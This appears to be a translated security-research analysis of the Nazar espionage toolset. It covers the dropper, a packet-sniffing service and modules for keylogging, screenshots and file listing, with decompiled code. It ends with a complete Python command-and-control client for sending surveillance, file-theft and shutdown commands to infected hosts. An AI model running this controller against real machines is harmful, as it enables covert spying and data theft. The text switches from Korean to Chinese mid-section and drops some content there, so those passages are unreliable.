>운영 및 유지보수 >안전 >Nazar 구성요소를 심층적으로 분석하는 방법

Nazar 구성요소를 심층적으로 분석하는 방법

WBOY
WBOY앞으로
2023-05-12 16:46:06742검색

2012년 7월 11일 오전 6:22 컨피커가 아직 대상에 있습니다

2012년 11월 7일 오전 6:18 로그 확인 - 깨끗합니다

2012년 7월 2일 오후 8:16 - 붐!, 콜백을 받았습니다.

이것은 Equation Group(NSA)이 표적 시스템을 공격하면서 남긴 기록이며 나중에 Shadow Brokers에 의해 유출되었습니다. 최근 보안 연구원들은 이전에 잘못 식별되었으며 알려지지 않은 위협 그룹 Nazar를 공개했습니다. 다음은 Nazar 구성 요소에 대한 심층 분석을 제공합니다.

사고 배경

Shadow Brokers의 유출된 데이터로 인해 EternalBlue와 같은 수많은 취약점이 주목을 받았지만, 여기에는 Equation Group이 공격을 시작하기 전에 수행한 작업을 보여주는 더 많은 중요한 구성 요소도 포함되어 있습니다.

如何深度分析Nazar 组件

예를 들어, 유출된 파일에는 드라이버 이름 목록과 해당 설명이 포함된 "drv_list.txt"라는 파일이 있는데, 이는 대상 시스템에서 드라이버가 발견되면 공격자에게 정보를 보냅니다. 에 의해. 목록에는 악성 드라이버의 이름도 포함되어 있습니다. 이러한 악성 드라이버가 발견되면 대상 시스템이 다른 시스템에 의해 손상되었음을 나타내고 공격자에게 "철회"를 경고합니다. 이러한 유형의 검사를 담당하는 핵심 구성 요소를 "영토 분쟁" 또는 "TeDi"라고 합니다.

如何深度分析Nazar 组件

"TeDi"에는 대상 시스템에서 다른 위협 그룹과 관련된 레지스트리 키 및 파일 이름을 검색하는 45개의 서명이 포함되어 있습니다. 보안 검색과 달리 공격자의 궁극적인 목표는 자신의 작업이 중단되지 않도록 하고 다른 공격자가 해당 도구를 탐지하지 못하도록 하는 것입니다.

如何深度分析Nazar 组件

어떤 경우에는 자신의 작전을 방해해도 "우호적" 위협 그룹의 작전을 방해하지 않으며 동시에 동일한 대상을 공격하지 않습니다.

如何深度分析Nazar 组件

보안 연구원들은 "TeDi"의 37번째 서명이 이란 위협 그룹 "Nazar"를 가리키는 "Godown.dll"이라는 파일을 찾고 있다고 지적했습니다. ​

如何深度分析Nazar 组件

실행 프로세스

Nazar는 2008년경에 활성화되었으며, 아마도 Nazar 도구 플러그인 "Godown.dll" 탐지를 담당하는 37번째 'TeDi' 서명과 관련이 있을 것으로 보입니다.

如何深度分析Nazar 组件

Nazar가 실행하는 초기 바이너리는 gpUpdates.exe입니다. "Zip 2 Secure EXE"로 생성된 자동 압축 풀기 아카이브(SFX)입니다. 실행 후 gpUpdates는 Data.bin, info 및 Distribute.exe라는 세 가지 파일을 디스크에 쓴 다음 gpUpdates.exe가 Distribute.exe를 시작합니다.

Distribute.exe如何深度分析Nazar 组件

먼저 Distribute.exe는 info와 Data.bin을 읽습니다. Data.bin은 여러 PE 파일을 포함하는 이진 blob입니다. info 파일은 매우 작으며 Data.bin에서 PE 파일의 길이를 나타내는 간단한 구조를 포함합니다. Distribute.exe는 파일 길이 순서대로 Data.bin을 하나씩 읽습니다. 다음 표는 Data.bin 파일과 정보 쓰기 길이 간의 관계를 보여줍니다.


이후 Distribute.exe는 regsv***를 사용하여 3개의 DLL 파일을 레지스트리에 씁니다.

如何深度分析Nazar 组件

CreateServiceA를 사용하여 svchost.exe를 "EYService"라는 서비스로 추가하고 서비스를 시작한 다음 종료합니다. 이 서비스는 Nazar 호출 모듈을 조정하는 공격의 주요 부분입니다.

如何深度分析Nazar 组件

통신 분석

서비스가 실행된 후 먼저 패킷 스니핑을 설정합니다.

如何深度分析Nazar 组件
DWORD __stdcall main_thread(LPVOID lpThreadParameter)
{
  HANDLE hMgr; // edi
  HANDLE hCfg; // esi
  HANDLE hFtr; // edi

  hMgr = MgrCreate();
  MgrInitialize(hMgr);
  hCfg = MgrGetFirstAdapterCfg(hMgr);
  do
  {
    if ( !AdpCfgGetAccessibleState(hCfg) )
      break;
    hCfg = MgrGetNextAdapterCfg(hMgr, hCfg);
  }
  while ( hCfg );
  ADP_struct = AdpCreate();
  AdpSetConfig(ADP_struct, hCfg);
  if ( !AdpOpenAdapter(ADP_struct) )
  {
    AdpGetConnectStatus(ADP_struct);
    MaxPacketSize = AdpCfgGetMaxPacketSize(hCfg);
    adapter_ip = AdpCfgGetIpA_wrapper(hCfg, 0);
    AdpCfgGetMACAddress(hCfg, &mac_address, 6);
    hFtr = BpfCreate();
    BpfAddCmd(hFtr, BPF_LD_B_ABS, 23u);         //  Get Protocol field value
    BpfAddJmp(hFtr, BPF_JMP_JEQ, IPPROTO_UDP, 0, 1);// Protocol == UDP
    BpfAddCmd(hFtr, BPF_RET, 0xFFFFFFFF);
    BpfAddCmd(hFtr, BPF_RET, 0);
    AdpSetUserFilter(ADP_struct, hFtr);
    AdpSetUserFilterActive(ADP_struct, 1);
    AdpSetOnPacketRecv(ADP_struct, on_packet_recv_handler, 0);
    AdpSetMacFilter(ADP_struct, 2);
    while ( 1 )
    {
      if ( stop_and_ping == 1 )
      {
        adapter_ip = AdpCfgGetIpA_wrapper(hCfg, 0);
        connection_method(2);
        stop_and_ping = 0;
      }
      Sleep(1000u);
    }
  }
  return 0;
}

UDP 패킷이 도착할 때마다 응답 여부에 관계없이 소스 IP가 다음 응답에 사용되도록 기록됩니다. 그런 다음 패킷의 대상 포트를 확인하고 1234이면 데이터가 명령 프로세서로 전달됩니다.

int __cdecl commandMethodsWrapper(udp_t *udp_packet, int zero, char *src_ip, int ip_id)
{
  int length; // edi

  length = HIBYTE(udp_packet->length) - 8;
  ntohs(udp_packet->src_port);
  if ( ntohs(udp_packet->dst_port) != 1234 )
    return 0;
  commandDispatcher(&udp_packet[1], src_ip, ip_id, length);
  return 1;
}

데이터 응답

응답은 3가지 유형으로 나뉩니다.


1. ACK 보내기: 대상 포트 4000, 페이로드 0000

2. 대상 포트 4000, 페이로드 100 <컴퓨터 이름>운영 체제 이름>

3、发送文件:通过UDP发送数据,然后是带有的数据包。如果服务器将标识为0x3456的数据包发送到目标端口1234,恶意软件将使用目标端口0x5634发送响应。

如何深度分析Nazar 组件

支持命令

下表为命令支持列表:

如何深度分析Nazar 组件

Dll分析

Godown.dll

Godown.dll是SIG37重点关注的DLL,它是一个小型DLL,只有一个关闭计算机的功能。    

Filesystem.dll

Filesystem.dll是由攻击者自己编写的模块。该模块的目的是枚举受感染系统上的驱动器,文件夹和文件,并将结果写入Drives.txt和Files.txt。

目前发现两个版本均包含PDB路径,其中提到了波斯语为Khzer(或خضر)的文件夹:    

C:\\khzer\\DLLs\\DLL's Source\\Filesystem\\Debug\\Filesystem.pdb

D:\\Khzer\\Client\\DLL's Source\\Filesystem\\Debug\\Filesystem.pdb

两条路径之间存在一些差异,表明该模块的两个版本不是在同一环境中编译的。    

如何深度分析Nazar 组件    

hodll.dll

hodll.dll模块负责键盘记录,通过设置钩子来完成。该代码来自开源代码库,某种程度上像从互联网上复制了多个项目的代码,最终拼装在一起。    

ViewScreen.dll

该DLL基于名为“ BMGLib”的开源项目,用于获取受害者计算机的屏幕截图。     

附录

IOCs

如何深度分析Nazar 组件

Python Server

from scapy.all import *
import struct
import socket
import hexdump
import argparse
DST_PORT = 1234
# 4000 is the usual port without sending files, but we use it for everything, because why not?
SERVER_PORT = 4000
# We want to make sure the ID has the little endian of it
ID = struct.unpack('>H',struct.pack('<H&#39;,4000))[0]
def get_response(sock, should_loop):
    started = False
    total_payload = b&#39;&#39;
    while(should_loop or not started):
        try:
            payload, client_address = sock.recvfrom(4096)
        except ConnectionResetError:
                payload, client_address = sock.recvfrom(4096)
        
        total_payload += payload
        # Good enough stop condition
        if (len(payload) >= 4
            and payload[:3] == b'---'
            and payload[4] >= ord('0')
            and payload[4] <= ord(&#39;9&#39;)):
            should_loop = False
        started = True
    hexdump.hexdump(total_payload)
MENU = """Welcome to NAZAR. Please choose:
          999 - Get a ping from the victim.
          555 - Get information on the victim&#39;s machine.
          311 - Start keylogging (312 to disable).
          139 - Shutdown victim&#39;s machine.
          189 - Screenshot (313 to disable).
          119 - Record audio from Microphone (315 to disable).
          199 - List drives.
          200 - List recursivley from directory*.
          201 - Send a file*.
          209 - Remove file*.
          599 - List devices.
* (append a path, use double-backslashes)
quit to Quit,
help for this menu.
            """
def get_message():
    while True:
        curr_message = input(&#39;> ').strip()
        if 'quit' in curr_message:
            return None
        if 'help' in curr_message:
            print(MENU)
        else:
            return curr_message
def get_sock():
    sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    server_address = '0.0.0.0'
    server = (server_address, SERVER_PORT)
    sock.bind(server)
    return sock     
def main(ip_addr):
    sock = get_sock()
    
    print(MENU)
    multi_packets = ["200","201", "119", "189", "311", "199", "599"]
    single_packets = ["999", "555"]
    all_commands = single_packets + multi_packets
    while True:
        
        curr_message = get_message()
        if not curr_message:
            break
        
        # Send message using scapy
        # Make sure the IP identification field is little endian of the port.
        sr1(
            IP(dst=ip_addr, id=ID)/
            UDP(sport=SERVER_PORT,dport=1234)/
            Raw(load=curr_message),
            verbose=0
        )
        command = curr_message[:3]
        if command not in all_commands:
            continue
        should_loop = command in multi_packets
        get_response(sock, should_loop)
if __name__ == '__main__':
    parser = argparse.ArgumentParser(description="victim's IP")
    parser.add_argument('ip')
    args = parser.parse_args()
    main(args.ip)

위 내용은 Nazar 구성요소를 심층적으로 분석하는 방법의 상세 내용입니다. 자세한 내용은 PHP 중국어 웹사이트의 기타 관련 기사를 참조하세요!

성명:
이 기사는 yisu.com에서 복제됩니다. 침해가 있는 경우 admin@php.cn으로 문의하시기 바랍니다. 삭제